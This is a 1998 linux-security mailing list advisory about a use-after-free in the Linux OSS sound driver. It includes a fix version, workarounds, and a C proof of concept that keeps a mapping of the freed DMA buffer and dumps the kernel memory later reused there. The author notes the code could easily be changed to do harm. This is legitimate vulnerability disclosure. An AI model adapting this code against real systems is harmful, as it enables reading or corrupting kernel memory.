X-RDate: Thu, 19 Mar 1998 09:27:22 +0500 (ESK)
Date: Tue, 17 Mar 1998 18:40:16 +0100
From: Thomas Sailer <[email protected]>
To: [email protected]Subject: [linux-security] Re: Linux Sound driver ("OSS free") vulnerability
This is a multi-part message in MIME format.
--------------292A46EA1717
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Synopsis
Applications can mmap sound driver DMA memory into their
address space (see http://www.4front-tech.com for API
documentation). When the application closes the audio fd,
it still has the mapping to the DMA buffer. It can now
interfere with other apps playing/recording audio.
(i.e. the driver should prevent opening the sound driver
again while another app holds mappings open to it)
But there's a more serious problem: even though the mapping
still exists, the reference count of the sound module
has dropped to 0, thus allowing it to be removed
either by explicit rmmod or by kerneld. The sound driver then
frees the DMA buffer memory, but the application still has
the mapping to that memory. But since the memory is now considered
free, nothing prevents it from being reused for an arbitrary kernel
data structure. That way, the application can overwrite kernel
memory.
I have no idea whether commercial OSS is affected too,
so I would like to hear reports on that.
Solution
It has been fixed in Linux Kernel 2.1.89
Work around
Either don't allow untrusted users access to the sound device
(by setting permission on /etc/dsp* accordingly), or
don't demand load sound by kerneld, that is either compile
it statically into the kernel or load it manually by modprobe.
I've appended a simple test case to illustrate the problem.
It doesn't do any harm in the form appended, but can be easily
modified to do so.
Tom
--------------292A46EA1717
Content-Type: text/plain; charset=us-ascii; name="soundhack.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="soundhack.c"
/*
* bug test for OSS
* written by Thomas Sailer, [email protected]
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
static int checksound()
{
int fd;
char buf[8192];
char *cp;
int i;
if ((fd = open("/proc/modules", O_RDONLY)) == -1) {
perror("open: /proc/modules");
exit(1);
}
i = read(fd, buf, sizeof(buf)-1);
if (i < 0) {
perror("read");
close(fd);
exit(1);
}
close(fd);
buf[i] = 0;
cp = strtok(buf, "\n");
while (cp) {
if (strncmp(cp, "sound", 5)) {
cp = strtok(NULL, "\n");
continue;
}
return strstr(cp, "(autoclean)") ? 1 : -1;
}
return 0;
}
int main(int argc, char *argv[])
{
int soundfd, i;
audio_buf_info info;
unsigned char *audiobuf;
unsigned int audiosize;
if ((soundfd = open("/dev/dsp", O_RDWR)) == -1) {
perror("open: /dev/dsp");
exit(1);
}
i = checksound();
if (i == -1)
fprintf(stderr, "warning: module sound not autoclean, remove by hand\n");
if (!i) {
fprintf(stderr, "module sound not found\n");
exit(1);
}
/* getting audio info and mmapping audio stuff */
if (ioctl(soundfd, SNDCTL_DSP_GETOSPACE, &info)) {
perror("ioctl: SNDCTL_DSP_GETOSPACE");
exit(1);
}
audiosize = info.fragstotal * info.fragsize;
if ((audiobuf = mmap(NULL, audiosize, PROT_READ, MAP_SHARED, soundfd, 0))
== MAP_FAILED) {
perror("mmap");
exit(1);
}
// memset(audiobuf, 0, audiosize);
close(soundfd);
printf("Sound buffer address %p size %#x\n", audiobuf, audiosize);
printf("The dirty deed is prepared, waiting for sound to unload\n");
while (checksound()) {
sleep(5);
fputc('.', stdout);
fflush(stdout);
}
printf("\nOk, sound unloaded, now make some system activity\n");
sleep(10);
printf("Memory dump:");
for (i = 0; i < audiosize; i++) {
if (!(i & 15))
printf("\n%06x ", i);
printf(" %02x", audiobuf[i]);
}
exit(0);
}
--------------292A46EA1717--
--
----------------------------------------------------------------------
Please refer to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.
----------------------------------------------------------------------
To unsubscribe: mail -s unsubscribe [email protected] < /dev/null